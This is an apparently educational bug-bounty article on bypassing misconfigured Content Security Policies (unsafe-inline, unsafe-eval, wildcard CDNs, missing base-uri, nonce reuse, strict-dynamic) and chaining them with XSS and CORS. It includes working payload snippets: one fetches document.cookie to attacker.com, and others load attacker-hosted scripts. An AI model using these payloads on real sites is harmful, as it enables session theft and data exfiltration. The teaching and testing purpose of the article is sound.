Advanced levelPremium

CSP bypass + CORS misconfig + XSS — a complete exploitation chain

How to chain CSP misconfiguration (unsafe-inline, wildcard sources, whitelisted JSONP endpoints), CORS with credentials and XSS for unrestricted data exfiltration.

Gorka El BochiMay 11, 202617 min

Stop reading about bugs and start hunting them

No card · free Academy · cancel anytime

Create free account

Quick answer

A well-implemented CSP makes XSS "informational" — the payload doesn't execute. But 'unsafe-inline', 'unsafe-eval', wildcards (*.cdn.com) and JSONP endpoints on whitelisted domains open holes. Chained with a misconfigured CORS (Access-Control-Allow-Origin: * + Allow-Credentials: true, or reflection of the Origin header), the attacker exfiltrates arbitrary data. The typical chain: XSS contained by CSP → CSP bypass via JSONP/wildcard → CORS misconfig to fetch credentials → exfil.


Anatomy of a CSP

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' https://cdn.target.com https://*.googleapis.com;
  style-src 'self' 'unsafe-inline';
  img-src * data:;
  connect-src 'self' https://api.target.com;
  frame-ancestors 'none';
  base-uri 'self';
  report-uri /csp-report

The directives relevant to XSS:

DirectivePurposeBypass possible if
script-srcWhich scripts you can loadContains unsafe-inline, unsafe-eval, CDN wildcards, domains with JSONP
default-srcFallbackIf the app doesn't set script-src, it defaults here
object-src<object>, <embed>, <applet>If not 'none', legacy Flash attacks (rare in 2026)
base-uri<base href> injectionIf missing, the attacker sets <base> and redirects relative scripts
style-srcCSS sourcesunsafe-inline allows CSS exfil with expressions
connect-srcFetch/XHR/WebSocket destinationsIf it's * or has wildcards, exfil without restriction
frame-ancestorsWho can frame thisWithout it, clickjacking is possible

Bypass 1 — literal 'unsafe-inline'

css
Content-Security-Policy: script-src 'self' 'unsafe-inline'

The CSP is "present" but unsafe-inline nullifies it for inline scripts. Any classic XSS works without restrictions. It's still extremely common in legacy SaaS that migrated to CSP without refactoring inline handlers.

html
<img src=x onerror=fetch('https://attacker.com/c?='+document.cookie)>

Bypass 2 — 'unsafe-eval' enabled

'unsafe-eval' allows eval(), Function(), setTimeout(string). If the XSS lands in a sink where you can execute string-as-code, you don't need inline:

html
<script src="https://cdn-whitelisted.com/legit.js"></script>
<!-- Si legit.js hace eval(window.name) o similar, puedes inyectar payload via window.name -->

Combined with legacy Angular (ng-app) or React with dangerouslySetInnerHTML, template engines become eval sinks.


Bypass 3 — Wildcards in script-src

arduino
script-src 'self' https://*.cloudfront.net

CloudFront lets anyone host static JS. The attacker creates their own S3 bucket → a URL like https://attacker-bucket.s3.cloudfront.net/payload.js. The CSP allows it.

html
<script src="https://attacker.s3.cloudfront.net/p.js"></script>

Dangerous variants:

perl
script-src 'self' https://*.googleusercontent.com   # Cualquiera con cuenta Google hospeda
script-src 'self' https://*.amazonaws.com           # S3 público
script-src 'self' https://storage.googleapis.com    # GCS público
script-src 'self' https://raw.githubusercontent.com # GitHub raw files

All the "user-content under CDN" services break the CSP if they're whitelisted.


Bypass 4 — missing base-uri + relative scripts

If the app doesn't set base-uri 'self' but uses a relative <script src="./app.js">:

html
<!-- XSS injection point -->
<base href="https://attacker.com/">

<!-- Ahora cualquier <script src="./app.js"> en la página después de este punto -->
<!-- carga https://attacker.com/app.js -->

Subtle because the app keeps working if the attacker hosts a benign app.js + payload. The CSP doesn't detect it because base-uri doesn't cover it.


Bypass 5 — Nonce reuse or predictable nonce

arduino
script-src 'self' 'nonce-abc123'
html
<script nonce="abc123">window.config = {...}</script>

If the nonce is:

  • Reused across requests (cacheable / shared): the attacker captures a nonce and uses it in their payload.
  • Predictable (timestamps, counter, weak random): predicting future nonces.
  • Reflected in the HTML as an attribute of another element: if the attacker can inject into any DOM attribute near the nonce, they copy the value.

Example of a copy-nonce attack (limited HTML injection):

html
<img src=x onerror="
  const nonce = document.querySelector('script[nonce]').nonce;
  const s = document.createElement('script');
  s.setAttribute('nonce', nonce);
  s.src = 'https://attacker.com/p.js';
  document.head.appendChild(s);
">

onerror doesn't execute if the CSP is strict (blocks inline), but if the nonce is accessible via the .nonce property and the CSP allows via a wildcard CDN, it does.


Bypass 6 — strict-dynamic + injected script

'strict-dynamic' allows scripts loaded via API (appendChild) by already-authorized scripts to also execute. If the attacker manages to execute a single line inside an authorized script (via a gadget, DOM clobbering, prototype pollution), they can load arbitrary JS:

javascript
// Una vez ejecutando dentro de un script autorizado:
const s = document.createElement('script');
s.src = 'https://attacker.com/p.js';
document.head.appendChild(s);

strict-dynamic gives the authorized loader carte blanche.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Csp Bypass Arsenal

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

4,183

hunters training

68

labs from real hacks

2,125

completions

$14,790

paid out for these bugs

6 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.